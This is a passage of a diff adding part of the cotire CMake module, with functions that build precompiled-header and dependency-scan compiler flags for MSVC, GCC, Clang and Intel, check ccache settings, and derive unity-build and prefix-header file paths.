(TO_NATIVE_PATH "${_sourceFileLocation}" _sourceFileLocation) + endif() + list (APPEND _contents "#include \"${_sourceFileLocation}\"") + endforeach() + if (_compileUndefinitions) + cotire_append_undefs(_contents ${_compileUndefinitions}) + set (_compileUndefinitions "") + endif() + if (_option_LANGUAGE AND _sourceFiles) + list (APPEND _contents "#endif") + endif() + if (_option_EPILOGUE) + list (APPEND _contents ${_option_EPILOGUE}) + endif() + list (APPEND _contents "") + string (REPLACE ";" "\n" _contents "${_contents}") + if (COTIRE_VERBOSE) + message ("${_contents}") + endif() + cotire_write_file("${_option_LANGUAGE}" "${_unityFile}" "${_contents}" TRUE) +endfunction() + +function (cotire_generate_prefix_header _prefixFile) + set(_options "") + set(_oneValueArgs LANGUAGE COMPILER_EXECUTABLE COMPILER_ARG1 COMPILER_ID COMPILER_VERSION) + set(_multiValueArgs DEPENDS COMPILE_DEFINITIONS COMPILE_FLAGS + INCLUDE_DIRECTORIES SYSTEM_INCLUDE_DIRECTORIES IGNORE_PATH INCLUDE_PATH + IGNORE_EXTENSIONS INCLUDE_PRIORITY_PATH COMPILER_LAUNCHER) + cmake_parse_arguments(_option "${_options}" "${_oneValueArgs}" "${_multiValueArgs}" ${ARGN}) + if (NOT _option_COMPILER_ID) + set (_option_COMPILER_ID "${CMAKE_${_option_LANGUAGE}_ID}") + endif() + if (NOT _option_COMPILER_VERSION) + set (_option_COMPILER_VERSION "${CMAKE_${_option_LANGUAGE}_COMPILER_VERSION}") + endif() + if (_option_DEPENDS) + cotire_check_file_up_to_date(_prefixFileIsUpToDate "${_prefixFile}" ${_option_DEPENDS}) + if (_prefixFileIsUpToDate) + # create empty log file + set (_unparsedLinesFile "${_prefixFile}.log") + file (WRITE "${_unparsedLinesFile}" "") + return() + endif() + endif() + set (_prologue "") + set (_epilogue "") + if (_option_COMPILER_ID MATCHES "Clang") + set (_prologue "#pragma clang system_header") + elseif (_option_COMPILER_ID MATCHES "GNU") + set (_prologue "#pragma GCC system_header") + elseif (_option_COMPILER_ID MATCHES "MSVC") + set (_prologue "#pragma warning(push, 0)") + set (_epilogue "#pragma warning(pop)") + elseif (_option_COMPILER_ID MATCHES "Intel") + # Intel compiler requires hdrstop pragma to stop generating PCH file + set (_epilogue "#pragma hdrstop") + endif() + set (_sourceFiles ${_option_UNPARSED_ARGUMENTS}) + cotire_scan_includes(_selectedHeaders ${_sourceFiles} + LANGUAGE "${_option_LANGUAGE}" + COMPILER_LAUNCHER "${_option_COMPILER_LAUNCHER}" + COMPILER_EXECUTABLE "${_option_COMPILER_EXECUTABLE}" + COMPILER_ARG1 "${_option_COMPILER_ARG1}" + COMPILER_ID "${_option_COMPILER_ID}" + COMPILER_VERSION "${_option_COMPILER_VERSION}" + COMPILE_DEFINITIONS ${_option_COMPILE_DEFINITIONS} + COMPILE_FLAGS ${_option_COMPILE_FLAGS} + INCLUDE_DIRECTORIES ${_option_INCLUDE_DIRECTORIES} + SYSTEM_INCLUDE_DIRECTORIES ${_option_SYSTEM_INCLUDE_DIRECTORIES} + IGNORE_PATH ${_option_IGNORE_PATH} + INCLUDE_PATH ${_option_INCLUDE_PATH} + IGNORE_EXTENSIONS ${_option_IGNORE_EXTENSIONS} + INCLUDE_PRIORITY_PATH ${_option_INCLUDE_PRIORITY_PATH} + UNPARSED_LINES _unparsedLines + SCAN_RESULT _scanResult) + cotire_generate_unity_source("${_prefixFile}" + PROLOGUE ${_prologue} EPILOGUE ${_epilogue} LANGUAGE "${_option_LANGUAGE}" ${_selectedHeaders}) + set (_unparsedLinesFile "${_prefixFile}.log") + if (_unparsedLines) + if (COTIRE_VERBOSE OR _scanResult OR NOT _selectedHeaders) + list (LENGTH _unparsedLines _skippedLineCount) + message (STATUS "${_skippedLineCount} line(s) skipped, see ${_unparsedLinesFile}") + endif() + string (REPLACE ";" "\n" _unparsedLines "${_unparsedLines}") + endif() + file (WRITE "${_unparsedLinesFile}" "${_unparsedLines}") +endfunction() + +function (cotire_add_makedep_flags _language _compilerID _compilerVersion _flagsVar) + set (_flags ${${_flagsVar}}) + if (_compilerID MATCHES "MSVC") + # cl.exe options used + # /nologo suppresses display of sign-on banner + # /TC treat all files named on the command line as C source files + # /TP treat all files named on the command line as C++ source files + # /EP preprocess to stdout without #line directives + # /showIncludes list include files + set (_sourceFileTypeC "/TC") + set (_sourceFileTypeCXX "/TP") + if (_flags) + # append to list + list (APPEND _flags /nologo "${_sourceFileType${_language}}" /EP /showIncludes) + else() + # return as a flag string + set (_flags "${_sourceFileType${_language}} /EP /showIncludes") + endif() + elseif (_compilerID MATCHES "GNU") + # GCC options used + # -H print the name of each header file used + # -E invoke preprocessor + # -fdirectives-only do not expand macros, requires GCC >= 4.3 + if (_flags) + # append to list + list (APPEND _flags -H -E) + if (NOT "${_compilerVersion}" VERSION_LESS "4.3.0") + list (APPEND _flags "-fdirectives-only") + endif() + else() + # return as a flag string + set (_flags "-H -E") + if (NOT "${_compilerVersion}" VERSION_LESS "4.3.0") + set (_flags "${_flags} -fdirectives-only") + endif() + endif() + elseif (_compilerID MATCHES "Clang") + # Clang options used + # -H print the name of each header file used + # -E invoke preprocessor + # -fno-color-diagnostics don't prints diagnostics in color + if (_flags) + # append to list + list (APPEND _flags -H -E -fno-color-diagnostics) + else() + # return as a flag string + set (_flags "-H -E -fno-color-diagnostics") + endif() + elseif (_compilerID MATCHES "Intel") + if (WIN32) + # Windows Intel options used + # /nologo do not display compiler version information + # /QH display the include file order + # /EP preprocess to stdout, omitting #line directives + # /TC process all source or unrecognized file types as C source files + # /TP process all source or unrecognized file types as C++ source files + set (_sourceFileTypeC "/TC") + set (_sourceFileTypeCXX "/TP") + if (_flags) + # append to list + list (APPEND _flags /nologo "${_sourceFileType${_language}}" /EP /QH) + else() + # return as a flag string + set (_flags "${_sourceFileType${_language}} /EP /QH") + endif() + else() + # Linux / Mac OS X Intel options used + # -H print the name of each header file used + # -EP preprocess to stdout, omitting #line directives + # -Kc++ process all source or unrecognized file types as C++ source files + if (_flags) + # append to list + if ("${_language}" STREQUAL "CXX") + list (APPEND _flags -Kc++) + endif() + list (APPEND _flags -H -EP) + else() + # return as a flag string + if ("${_language}" STREQUAL "CXX") + set (_flags "-Kc++ ") + endif() + set (_flags "${_flags}-H -EP") + endif() + endif() + else() + message (FATAL_ERROR "cotire: unsupported ${_language} compiler ${_compilerID} version ${_compilerVersion}.") + endif() + set (${_flagsVar} ${_flags} PARENT_SCOPE) +endfunction() + +function (cotire_add_pch_compilation_flags _language _compilerID _compilerVersion _prefixFile _pchFile _hostFile _flagsVar) + set (_flags ${${_flagsVar}}) + if (_compilerID MATCHES "MSVC") + file (TO_NATIVE_PATH "${_prefixFile}" _prefixFileNative) + file (TO_NATIVE_PATH "${_pchFile}" _pchFileNative) + file (TO_NATIVE_PATH "${_hostFile}" _hostFileNative) + # cl.exe options used + # /Yc creates a precompiled header file + # /Fp specifies precompiled header binary file name + # /FI forces inclusion of file + # /TC treat all files named on the command line as C source files + # /TP treat all files named on the command line as C++ source files + # /Zs syntax check only + # /Zm precompiled header memory allocation scaling factor + set (_sourceFileTypeC "/TC") + set (_sourceFileTypeCXX "/TP") + if (_flags) + # append to list + list (APPEND _flags /nologo "${_sourceFileType${_language}}" + "/Yc${_prefixFileNative}" "/Fp${_pchFileNative}" "/FI${_prefixFileNative}" /Zs "${_hostFileNative}") + if (COTIRE_PCH_MEMORY_SCALING_FACTOR) + list (APPEND _flags "/Zm${COTIRE_PCH_MEMORY_SCALING_FACTOR}") + endif() + else() + # return as a flag string + set (_flags "/Yc\"${_prefixFileNative}\" /Fp\"${_pchFileNative}\" /FI\"${_prefixFileNative}\"") + if (COTIRE_PCH_MEMORY_SCALING_FACTOR) + set (_flags "${_flags} /Zm${COTIRE_PCH_MEMORY_SCALING_FACTOR}") + endif() + endif() + elseif (_compilerID MATCHES "GNU|Clang") + # GCC / Clang options used + # -x specify the source language + # -c compile but do not link + # -o place output in file + # note that we cannot use -w to suppress all warnings upon pre-compiling, because turning off a warning may + # alter compile flags as a side effect (e.g., -Wwrite-string implies -fconst-strings) + set (_xLanguage_C "c-header") + set (_xLanguage_CXX "c++-header") + if (_flags) + # append to list + list (APPEND _flags "-x" "${_xLanguage_${_language}}" "-c" "${_prefixFile}" -o "${_pchFile}") + else() + # return as a flag string + set (_flags "-x ${_xLanguage_${_language}} -c \"${_prefixFile}\" -o \"${_pchFile}\"") + endif() + elseif (_compilerID MATCHES "Intel") + if (WIN32) + file (TO_NATIVE_PATH "${_prefixFile}" _prefixFileNative) + file (TO_NATIVE_PATH "${_pchFile}" _pchFileNative) + file (TO_NATIVE_PATH "${_hostFile}" _hostFileNative) + # Windows Intel options used + # /nologo do not display compiler version information + # /Yc create a precompiled header (PCH) file + # /Fp specify a path or file name for precompiled header files + # /FI tells the preprocessor to include a specified file name as the header file + # /TC process all source or unrecognized file types as C source files + # /TP process all source or unrecognized file types as C++ source files + # /Zs syntax check only + # /Wpch-messages enable diagnostics related to pre-compiled headers (requires Intel XE 2013 Update 2) + set (_sourceFileTypeC "/TC") + set (_sourceFileTypeCXX "/TP") + if (_flags) + # append to list + list (APPEND _flags /nologo "${_sourceFileType${_language}}" + "/Yc" "/Fp${_pchFileNative}" "/FI${_prefixFileNative}" /Zs "${_hostFileNative}") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + list (APPEND _flags "/Wpch-messages") + endif() + else() + # return as a flag string + set (_flags "/Yc /Fp\"${_pchFileNative}\" /FI\"${_prefixFileNative}\"") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + set (_flags "${_flags} /Wpch-messages") + endif() + endif() + else() + # Linux / Mac OS X Intel options used + # -pch-dir location for precompiled header files + # -pch-create name of the precompiled header (PCH) to create + # -Kc++ process all source or unrecognized file types as C++ source files + # -fsyntax-only check only for correct syntax + # -Wpch-messages enable diagnostics related to pre-compiled headers (requires Intel XE 2013 Update 2) + get_filename_component(_pchDir "${_pchFile}" DIRECTORY) + get_filename_component(_pchName "${_pchFile}" NAME) + set (_xLanguage_C "c-header") + set (_xLanguage_CXX "c++-header") + set (_pchSuppressMessages FALSE) + if ("${CMAKE_${_language}_FLAGS}" MATCHES ".*-Wno-pch-messages.*") + set(_pchSuppressMessages TRUE) + endif() + if (_flags) + # append to list + if ("${_language}" STREQUAL "CXX") + list (APPEND _flags -Kc++) + endif() + list (APPEND _flags "-include" "${_prefixFile}" "-pch-dir" "${_pchDir}" "-pch-create" "${_pchName}" "-fsyntax-only" "${_hostFile}") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + if (NOT _pchSuppressMessages) + list (APPEND _flags "-Wpch-messages") + endif() + endif() + else() + # return as a flag string + set (_flags "-include \"${_prefixFile}\" -pch-dir \"${_pchDir}\" -pch-create \"${_pchName}\"") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + if (NOT _pchSuppressMessages) + set (_flags "${_flags} -Wpch-messages") + endif() + endif() + endif() + endif() + else() + message (FATAL_ERROR "cotire: unsupported ${_language} compiler ${_compilerID} version ${_compilerVersion}.") + endif() + set (${_flagsVar} ${_flags} PARENT_SCOPE) +endfunction() + +function (cotire_add_prefix_pch_inclusion_flags _language _compilerID _compilerVersion _prefixFile _pchFile _flagsVar) + set (_flags ${${_flagsVar}}) + if (_compilerID MATCHES "MSVC") + file (TO_NATIVE_PATH "${_prefixFile}" _prefixFileNative) + # cl.exe options used + # /Yu uses a precompiled header file during build + # /Fp specifies precompiled header binary file name + # /FI forces inclusion of file + # /Zm precompiled header memory allocation scaling factor + if (_pchFile) + file (TO_NATIVE_PATH "${_pchFile}" _pchFileNative) + if (_flags) + # append to list + list (APPEND _flags "/Yu${_prefixFileNative}" "/Fp${_pchFileNative}" "/FI${_prefixFileNative}") + if (COTIRE_PCH_MEMORY_SCALING_FACTOR) + list (APPEND _flags "/Zm${COTIRE_PCH_MEMORY_SCALING_FACTOR}") + endif() + else() + # return as a flag string + set (_flags "/Yu\"${_prefixFileNative}\" /Fp\"${_pchFileNative}\" /FI\"${_prefixFileNative}\"") + if (COTIRE_PCH_MEMORY_SCALING_FACTOR) + set (_flags "${_flags} /Zm${COTIRE_PCH_MEMORY_SCALING_FACTOR}") + endif() + endif() + else() + # no precompiled header, force inclusion of prefix header + if (_flags) + # append to list + list (APPEND _flags "/FI${_prefixFileNative}") + else() + # return as a flag string + set (_flags "/FI\"${_prefixFileNative}\"") + endif() + endif() + elseif (_compilerID MATCHES "GNU") + # GCC options used + # -include process include file as the first line of the primary source file + # -Winvalid-pch warns if precompiled header is found but cannot be used + # note: ccache requires the -include flag to be used in order to process precompiled header correctly + if (_flags) + # append to list + list (APPEND _flags "-Winvalid-pch" "-include" "${_prefixFile}") + else() + # return as a flag string + set (_flags "-Winvalid-pch -include \"${_prefixFile}\"") + endif() + elseif (_compilerID MATCHES "Clang") + # Clang options used + # -include process include file as the first line of the primary source file + # -include-pch include precompiled header file + # -Qunused-arguments don't emit warning for unused driver arguments + # note: ccache requires the -include flag to be used in order to process precompiled header correctly + if (_flags) + # append to list + list (APPEND _flags "-Qunused-arguments" "-include" "${_prefixFile}") + else() + # return as a flag string + set (_flags "-Qunused-arguments -include \"${_prefixFile}\"") + endif() + elseif (_compilerID MATCHES "Intel") + if (WIN32) + file (TO_NATIVE_PATH "${_prefixFile}" _prefixFileNative) + # Windows Intel options used + # /Yu use a precompiled header (PCH) file + # /Fp specify a path or file name for precompiled header files + # /FI tells the preprocessor to include a specified file name as the header file + # /Wpch-messages enable diagnostics related to pre-compiled headers (requires Intel XE 2013 Update 2) + if (_pchFile) + file (TO_NATIVE_PATH "${_pchFile}" _pchFileNative) + if (_flags) + # append to list + list (APPEND _flags "/Yu" "/Fp${_pchFileNative}" "/FI${_prefixFileNative}") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + list (APPEND _flags "/Wpch-messages") + endif() + else() + # return as a flag string + set (_flags "/Yu /Fp\"${_pchFileNative}\" /FI\"${_prefixFileNative}\"") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + set (_flags "${_flags} /Wpch-messages") + endif() + endif() + else() + # no precompiled header, force inclusion of prefix header + if (_flags) + # append to list + list (APPEND _flags "/FI${_prefixFileNative}") + else() + # return as a flag string + set (_flags "/FI\"${_prefixFileNative}\"") + endif() + endif() + else() + # Linux / Mac OS X Intel options used + # -pch-dir location for precompiled header files + # -pch-use name of the precompiled header (PCH) to use + # -include process include file as the first line of the primary source file + # -Wpch-messages enable diagnostics related to pre-compiled headers (requires Intel XE 2013 Update 2) + if (_pchFile) + get_filename_component(_pchDir "${_pchFile}" DIRECTORY) + get_filename_component(_pchName "${_pchFile}" NAME) + set (_pchSuppressMessages FALSE) + if ("${CMAKE_${_language}_FLAGS}" MATCHES ".*-Wno-pch-messages.*") + set(_pchSuppressMessages TRUE) + endif() + if (_flags) + # append to list + list (APPEND _flags "-include" "${_prefixFile}" "-pch-dir" "${_pchDir}" "-pch-use" "${_pchName}") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + if (NOT _pchSuppressMessages) + list (APPEND _flags "-Wpch-messages") + endif() + endif() + else() + # return as a flag string + set (_flags "-include \"${_prefixFile}\" -pch-dir \"${_pchDir}\" -pch-use \"${_pchName}\"") + if (NOT "${_compilerVersion}" VERSION_LESS "13.1.0") + if (NOT _pchSuppressMessages) + set (_flags "${_flags} -Wpch-messages") + endif() + endif() + endif() + else() + # no precompiled header, force inclusion of prefix header + if (_flags) + # append to list + list (APPEND _flags "-include" "${_prefixFile}") + else() + # return as a flag string + set (_flags "-include \"${_prefixFile}\"") + endif() + endif() + endif() + else() + message (FATAL_ERROR "cotire: unsupported ${_language} compiler ${_compilerID} version ${_compilerVersion}.") + endif() + set (${_flagsVar} ${_flags} PARENT_SCOPE) +endfunction() + +function (cotire_precompile_prefix_header _prefixFile _pchFile _hostFile) + set(_options "") + set(_oneValueArgs COMPILER_EXECUTABLE COMPILER_ARG1 COMPILER_ID COMPILER_VERSION LANGUAGE) + set(_multiValueArgs COMPILE_DEFINITIONS COMPILE_FLAGS INCLUDE_DIRECTORIES SYSTEM_INCLUDE_DIRECTORIES SYS COMPILER_LAUNCHER) + cmake_parse_arguments(_option "${_options}" "${_oneValueArgs}" "${_multiValueArgs}" ${ARGN}) + if (NOT _option_LANGUAGE) + set (_option_LANGUAGE "CXX") + endif() + if (NOT _option_COMPILER_ID) + set (_option_COMPILER_ID "${CMAKE_${_option_LANGUAGE}_ID}") + endif() + if (NOT _option_COMPILER_VERSION) + set (_option_COMPILER_VERSION "${CMAKE_${_option_LANGUAGE}_COMPILER_VERSION}") + endif() + cotire_init_compile_cmd(_cmd "${_option_LANGUAGE}" "${_option_COMPILER_LAUNCHER}" "${_option_COMPILER_EXECUTABLE}" "${_option_COMPILER_ARG1}") + cotire_add_definitions_to_cmd(_cmd "${_option_LANGUAGE}" ${_option_COMPILE_DEFINITIONS}) + cotire_add_compile_flags_to_cmd(_cmd ${_option_COMPILE_FLAGS}) + cotire_add_includes_to_cmd(_cmd "${_option_LANGUAGE}" _option_INCLUDE_DIRECTORIES _option_SYSTEM_INCLUDE_DIRECTORIES) + cotire_add_frameworks_to_cmd(_cmd "${_option_LANGUAGE}" _option_INCLUDE_DIRECTORIES _option_SYSTEM_INCLUDE_DIRECTORIES) + cotire_add_pch_compilation_flags( + "${_option_LANGUAGE}" "${_option_COMPILER_ID}" "${_option_COMPILER_VERSION}" + "${_prefixFile}" "${_pchFile}" "${_hostFile}" _cmd) + if (COTIRE_VERBOSE) + message (STATUS "execute_process: ${_cmd}") + endif() + if (_option_COMPILER_ID MATCHES "MSVC") + # cl.exe messes with the output streams unless the environment variable VS_UNICODE_OUTPUT is cleared + unset (ENV{VS_UNICODE_OUTPUT}) + elseif (_option_COMPILER_ID MATCHES "GNU|Clang") + if (_option_COMPILER_LAUNCHER MATCHES "ccache" OR + _option_COMPILER_EXECUTABLE MATCHES "ccache") + # Newer versions of Clang and GCC seem to embed a compilation timestamp into the precompiled header binary, + # which results in "file has been modified since the precompiled header was built" errors if ccache is used. + # We work around the problem by disabling ccache upon pre-compiling the prefix header. + set (ENV{CCACHE_DISABLE} "true") + endif() + endif() + execute_process( + COMMAND ${_cmd} + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + RESULT_VARIABLE _result) + if (_result) + message (FATAL_ERROR "cotire: error ${_result} precompiling ${_prefixFile}.") + endif() +endfunction() + +function (cotire_check_precompiled_header_support _language _target _msgVar) + set (_unsupportedCompiler + "Precompiled headers not supported for ${_language} compiler ${CMAKE_${_language}_COMPILER_ID}") + if (CMAKE_${_language}_COMPILER_ID MATCHES "MSVC") + # supported since Visual Studio C++ 6.0 + # and CMake does not support an earlier version + set (${_msgVar} "" PARENT_SCOPE) + elseif (CMAKE_${_language}_COMPILER_ID MATCHES "GNU") + # GCC PCH support requires version >= 3.4 + if ("${CMAKE_${_language}_COMPILER_VERSION}" VERSION_LESS "3.4.0") + set (${_msgVar} "${_unsupportedCompiler} version ${CMAKE_${_language}_COMPILER_VERSION}." PARENT_SCOPE) + else() + set (${_msgVar} "" PARENT_SCOPE) + endif() + elseif (CMAKE_${_language}_COMPILER_ID MATCHES "Clang") + # all Clang versions have PCH support + set (${_msgVar} "" PARENT_SCOPE) + elseif (CMAKE_${_language}_COMPILER_ID MATCHES "Intel") + # Intel PCH support requires version >= 8.0.0 + if ("${CMAKE_${_language}_COMPILER_VERSION}" VERSION_LESS "8.0.0") + set (${_msgVar} "${_unsupportedCompiler} version ${CMAKE_${_language}_COMPILER_VERSION}." PARENT_SCOPE) + else() + set (${_msgVar} "" PARENT_SCOPE) + endif() + else() + set (${_msgVar} "${_unsupportedCompiler}." PARENT_SCOPE) + endif() + get_target_property(_launcher ${_target} ${_language}_COMPILER_LAUNCHER) + if (CMAKE_${_language}_COMPILER MATCHES "ccache" OR _launcher MATCHES "ccache") + if (DEFINED ENV{CCACHE_SLOPPINESS}) + if (NOT "$ENV{CCACHE_SLOPPINESS}" MATCHES "pch_defines" OR NOT "$ENV{CCACHE_SLOPPINESS}" MATCHES "time_macros") + set (${_msgVar} + "ccache requires the environment variable CCACHE_SLOPPINESS to be set to \"pch_defines,time_macros\"." + PARENT_SCOPE) + endif() + else() + if (_launcher MATCHES "ccache") + get_filename_component(_ccacheExe "${_launcher}" REALPATH) + else() + get_filename_component(_ccacheExe "${CMAKE_${_language}_COMPILER}" REALPATH) + endif() + execute_process( + COMMAND "${_ccacheExe}" "--print-config" + WORKING_DIRECTORY "${CMAKE_CURRENT_BINARY_DIR}" + RESULT_VARIABLE _result + OUTPUT_VARIABLE _ccacheConfig OUTPUT_STRIP_TRAILING_WHITESPACE + ERROR_QUIET) + if (_result OR NOT + _ccacheConfig MATCHES "sloppiness.*=.*time_macros" OR NOT + _ccacheConfig MATCHES "sloppiness.*=.*pch_defines") + set (${_msgVar} + "ccache requires configuration setting \"sloppiness\" to be set to \"pch_defines,time_macros\"." + PARENT_SCOPE) + endif() + endif() + endif() + if (APPLE) + # PCH compilation not supported by GCC / Clang for multi-architecture builds (e.g., i386, x86_64) + cotire_get_configuration_types(_configs) + foreach (_config ${_configs}) + set (_targetFlags "") + cotire_get_target_compile_flags("${_config}" "${_language}" "${_target}" _targetFlags) + cotire_filter_compile_flags("${_language}" "arch" _architectures _ignore ${_targetFlags}) + list (LENGTH _architectures _numberOfArchitectures) + if (_numberOfArchitectures GREATER 1) + string (REPLACE ";" ", " _architectureStr "${_architectures}") + set (${_msgVar} + "Precompiled headers not supported on Darwin for multi-architecture builds (${_architectureStr})." + PARENT_SCOPE) + break() + endif() + endforeach() + endif() +endfunction() + +macro (cotire_get_intermediate_dir _cotireDir) + # ${CMAKE_CFG_INTDIR} may reference a build-time variable when using a generator which supports configuration types + get_filename_component(${_cotireDir} "${CMAKE_CURRENT_BINARY_DIR}/${CMAKE_CFG_INTDIR}/${COTIRE_INTDIR}" ABSOLUTE) +endmacro() + +macro (cotire_setup_file_extension_variables) + set (_unityFileExt_C ".c") + set (_unityFileExt_CXX ".cxx") + set (_prefixFileExt_C ".h") + set (_prefixFileExt_CXX ".hxx") + set (_prefixSourceFileExt_C ".c") + set (_prefixSourceFileExt_CXX ".cxx") +endmacro() + +function (cotire_make_single_unity_source_file_path _language _target _unityFileVar) + cotire_setup_file_extension_variables() + if (NOT DEFINED _unityFileExt_${_language}) + set (${_unityFileVar} "" PARENT_SCOPE) + return() + endif() + set (_unityFileBaseName "${_target}_${_language}${COTIRE_UNITY_SOURCE_FILENAME_SUFFIX}") + set (_unityFileName "${_unityFileBaseName}${_unityFileExt_${_language}}") + cotire_get_intermediate_dir(_baseDir) + set (_unityFile "${_baseDir}/${_unityFileName}") + set (${_unityFileVar} "${_unityFile}" PARENT_SCOPE) +endfunction() + +function (cotire_make_unity_source_file_paths _language _target _maxIncludes _unityFilesVar) + cotire_setup_file_extension_variables() + if (NOT DEFINED _unityFileExt_${_language}) + set (${_unityFileVar} "" PARENT_SCOPE) + return() + endif() + set (_unityFileBaseName "${_target}_${_language}${COTIRE_UNITY_SOURCE_FILENAME_SUFFIX}") + cotire_get_intermediate_dir(_baseDir) + set (_startIndex 0) + set (_index 0) + set (_unityFiles "") + set (_sourceFiles ${ARGN}) + foreach (_sourceFile ${_sourceFiles}) + get_source_file_property(_startNew "${_sourceFile}" COTIRE_START_NEW_UNITY_SOURCE) + math (EXPR _unityFileCount "${_index} - ${_startIndex}") + if (_startNew OR (_maxIncludes GREATER 0 AND NOT _unityFileCount LESS _maxIncludes)) + if (_index GREATER 0) + # start new unity file segment + math (EXPR _endIndex "${_index} - 1") + set (_unityFileName "${_unityFileBaseName}_${_startIndex}_${_endIndex}${_unityFileExt_${_language}}") + list (APPEND _unityFiles "${_baseDir}/${_unityFileName}") + endif() + set (_startIndex ${_index}) + endif() + math (EXPR _index "${_index} + 1") + endforeach() + list (LENGTH _sourceFiles _numberOfSources) + if (_startIndex EQUAL 0) + # there is only a single unity file + cotire_make_single_unity_source_file_path(${_language} ${_target} _unityFiles) + elseif (_startIndex LESS _numberOfSources) + # end with final unity file segment + math (EXPR _endIndex "${_index} - 1") + set (_unityFileName "${_unityFileBaseName}_${_startIndex}_${_endIndex}${_unityFileExt_${_language}}") + list (APPEND _unityFiles "${_baseDir}/${_unityFileName}") + endif() + set (${_unityFilesVar} ${_unityFiles} PARENT_SCOPE) + if (COTIRE_DEBUG AND _unityFiles) + message (STATUS "unity files: ${_unityFiles}") + endif() +endfunction() + +function (cotire_unity_to_prefix_file_path _language _target _unityFile _prefixFileVar) + cotire_setup_file_extension_variables() + if (NOT DEFINED _unityFileExt_${_language}) + set (${_prefixFileVar} "" PARENT_SCOPE) + return() + endif() + set (_unityFileBaseName "${_target}_${_language}${COTIRE_UNITY_SOURCE_FILENAME_SUFFIX}") + set (_prefixFileBaseName "${_target}_${_language}${COTIRE_PREFIX_HEADER_FILENAME_SUFFIX}") + string (REPLACE "${_unityFileBaseName}" "${_prefixFileBaseName}" _prefixFile "${_unityFile}") + string (REGEX REPLACE "${_unityFileExt_${_language}}$" "${_prefixFileExt_${_language}}" _prefixFile "${_prefixFile}") + set (${_prefixFileVar} "${_prefixFile}" PARENT_SCOPE) +endfunction() + +function (cotire_prefix_header_to_source_file_path _language _prefixHeaderFile _prefixSourceFileVar) + cotire_setup_file_extension_variables() + if (NOT DEFINED _prefixSourceFileExt_${_language}) + set (${_prefixSourceFileVar} "" PARENT_SCOPE) + return() + endif() + string (REGEX REPLACE "${_prefixFileExt_${_language}}$" "${_prefixSourceFileExt_${_language}}" _prefixSourceFile "${_prefixHeaderFile}") + set (${_prefixSourceFileVar} "${_prefixSourceFile}" PARENT_SCOPE) +endfunction() + +function (cotire_make_prefix_file_name _language _target _prefixFileBaseNameVar _prefixFileNameVar) + cotire_setup_file_extension_variables() + if (NOT _language) + set (_prefixFileBaseName "${_target}${COTIRE_PREFIX_HEADER_FILENAME_SUFFIX}") + set (_prefixFileName "${_prefixFileBaseName}${_prefixFileExt_C}") + elseif (DEFINED _prefixFileExt_${_language}) + set (_prefixFileBaseName "${_target}_${_language}${COTIRE_PREFIX_HEADER_FILENAME_SUFFIX}") + set (_prefixFileName "${_prefixFileBaseName}${_prefixFileExt_${_language}}") + else() + set (_prefixFileBaseName "") + set (_prefixFileName "") + endif() + set (${_prefixFileBaseNameVar} "${_prefixFileBaseName}" PARENT_SCOPE) + set (${_prefixFileNameVar} "${_prefixFileName}" PARENT_SCOPE) +endfunction() + +function (cotire_make_prefix_file_path _language _target _prefixFileVar) + cotire_make_prefix_file_name("${_language}" "${_target}" _prefixFileBaseName _prefixFileName) + set (${_prefixFileVar} "" PARENT_SCOPE) + if (_prefixFileName) + if (NOT _language) + set (_language "C") + endif() + if (CMAKE_${_language}_COMPILER_ID MATCHES "GNU|Clang|Intel|MSVC") + cotire_get_intermediate_dir(_baseDir) + set (${_prefixFileVar} "${_baseDir}/${_prefixFileName}" PARENT_SCOPE) + endif() + endif() +endfunction() + +function (cotire_make_pch_file_path _language _target _pchFileVar) + cotire_make_prefix_file_name("${_language}" "${_target}" _prefixFileBaseName _prefixFileName) + set (${_pchFileVar} "" PARENT_SCOPE) + if (_prefixFileBaseName AND _prefixFileName) + cotire_check_precompiled_header_support("${_language}" "${_target}" _msg) + if (NOT _msg) + if (XCODE) + # For Xcode, we completely hand off the compilation of the prefix header to the IDE + return() + endif() + cotire_get_intermediate_dir(_baseDir) + if (CMAKE_${_language}_COMPILER_ID MATCHES "MSVC") + # MSVC uses the extension .pch added to the prefix header base name + set (${_pchFileVar} "${_baseDir}/${_prefixFileBaseName}.pch" PARENT_SCOPE) + elseif (CMAKE_${_language}_COMPILER_ID MATCHES "Clang") + # Clang looks for a precompiled header corresponding to the prefix header with the extension .pch appended + set (${_pchFileVar} "${_baseDir}/${_prefixFileName}.pch" PARENT_SCOPE) + elseif (CMAKE_${_language}_COMPILER_ID MATCHES "GNU") + # GCC looks for a precompiled header corresponding to the prefix header with the extension .gch appended + set (${_pchFileVar} "${_baseDir}/${_prefixFileName}.gch" PARENT_SCOPE) + elseif (CMAKE_${_language}_COMPILER_ID MATCHES "Intel") + # Intel uses the extension .pchi added to the prefix header base name + set (${_pchFileVar} "${_baseDir}/${_prefixFileBaseName}.pchi" PARENT_SCOPE) + endif() + endif() + endif() +endfunction() + +function (cotire_select_unity_source_files _unityFile _sourcesVar) + set (_sourceFiles ${ARGN}) + if (_sourceFiles AND "${_unityFile}" MATCHES "${COTIRE_UNITY_SOURCE_FILENAME_SUFFIX}_([0-9]+)_([0-9]+)") + set (_startIndex ${CMAKE_MATCH_1}) + set (_endIndex ${CMAKE_MATCH_2}) + list (LENGTH _sourceFiles _numberOfSources) + if (NOT _startIndex LESS _numberOfSources) + math (EXPR _startIndex "${_numberOfSources} - 1") + endif() + if (NOT _endIndex LESS _numberOfSources) + math (EXPR _endIndex "${_numberOfSources} - 1") + endif() + set (_files "") + foreach (_index RANGE ${_startIndex} ${_endIndex}) + list (GET _sourceFiles ${_index} _file) + list (APPEND _files "${_file}") + endforeach() + else() + set (_files ${_sourceFiles}) + endif() + set (${_sourcesVar} ${_files} PARENT_SCOPE) +endfunction() + +function (cotire_get_unity_source_dependencies _language _target _dependencySourcesVar) + set (_dependencySources "") + # depend on target's generated source files + get_target_property(_targetSourceFiles ${_target} SOURCES) + cotire_get_objects_with_property_on(_generatedSources GENERATED SOURCE ${_targetSourceFiles}) + if (_generatedSources) + # but omit all generated source files that have the COTIRE_EXCLUDED property set to true + cotire_get_objects_with_property_on(_excludedGeneratedSources COTIRE_EXCLUDED SOURCE ${_generatedSources}) + if 